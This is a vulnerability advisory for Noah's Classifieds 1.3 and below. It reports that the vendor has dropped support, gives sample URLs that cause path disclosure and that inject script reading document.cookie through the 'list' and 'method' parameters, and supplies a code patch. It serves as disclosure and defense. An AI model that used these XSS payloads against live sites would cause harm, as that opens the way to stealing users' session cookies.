Noah's Classifieds Multiple Path Disclosure and Cross Site Scripting Vulnerabilities

[raphael.huck@xxxxxxx]

I have contacted PhpOutsourcing 2 weeks ago, and they didn't answer.

The mail I sent on classifieds AT phpoutsourcing DOT com bounced back in error. 
The one I sent on askme AT phpoutsourcing DOT com never got replied.

"Currently, we are completely overloaded with our running projects, and we 
don't have enough time to deal with our free products. The further development 
and support of Noah's Classifieds is therefore suspended. Thank you for the 
understanding and please forgive us that we don't responding to the emails."

Anyway, they clearly mention that they have stopped the support, but there are 
unpatched vulnerabilities in their product.


Vendor: PhpOutsourcing

Vulnerable: Noah's Classified 1.3 and below

Path Disclosure

http://www.example.com/classifieds/index.php?method=showdetails&list=dummy

which returns:

Fatal error: Cannot instantiate non-existent class: dummy in 
/path/classifieds/gorum/gorumlib.php on line 45

Cross Site Scripting

http://www.example.com/classifieds/index.php?method=showdetails&list=%3Cscript%3Ealert(document.cookie)%3C/script%3Eadvertisement&rollid=1
http://www.example.com/classifieds/index.php?method=%3Cscript%3Ealert(document.cookie)%3B%3C/script%3E

Solution

The vendor is not supporting this product at the moment: "Currently, we are 
completely overloaded with our running projects, and we don't have enough time 
to deal with our free products. The further development and support of Noah's 
Classifieds is therefore suspended. Thank you for the understanding and please 
forgive us that we don't responding to the emails."

To solve this vulnerabilities, in gorum/gorumlib.php:

Line 45, add before $base = new gorumroll->class;:

        if (!class_exists($gorumroll->class)) {
                $txt="Class does not 
exist:".preg_replace("/[^a-z]/","",substr($gorumroll->class,0,32));
                handleError($txt);
        }

and, at line 124, replace:

        $txt="Method is not allowed: $gorumroll->method";

by:

        $txt="Method is not 
allowed:".preg_replace("/[^a-z]/","",substr($gorumroll->method,0,32));
